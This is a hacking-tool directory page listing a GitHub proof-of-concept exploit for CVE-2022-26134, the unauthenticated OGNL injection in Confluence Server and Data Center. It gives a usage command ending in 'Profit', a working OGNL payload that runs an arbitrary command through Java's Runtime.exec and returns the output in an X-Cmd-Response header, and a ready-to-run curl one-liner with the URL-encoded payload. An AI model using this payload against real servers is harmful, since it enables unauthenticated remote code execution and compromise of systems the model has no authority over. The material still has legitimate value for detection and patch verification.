Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-26134 — CVE-2022-26134 Confluence OGNL Injection POC | Kitploit
Tools/GitHubGitHub/alcaparra/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubalcaparra/cve-2022-26134

CVE-2022-26134

CVE-2022-26134 Confluence OGNL Injection POC

View Repository
424 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-26134 POC

Description

root@kitploit:~
In affected versions of Confluence Server and Data Center, 
an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code 
on a Confluence Server or Data Center instance.

POC

  1. Run python3 confluence.py -u http://127.0.0.1 -c whoami
  2. Profit

The Payload

URL-Decoded payload:

root@kitploit:~
/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("COMMAND").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

This executes the command on the target server and sends the output back inside the X-Cmd-Response header.

You could also use curl:

root@kitploit:~
curl -kI "http://127.0.0.1/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"

References

  • https://www.cvedetails.com/cve/CVE-2022-26134 (not rated)
  • https://jira.atlassian.com/browse/CONFSERVER-79016
  • https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
Download Tool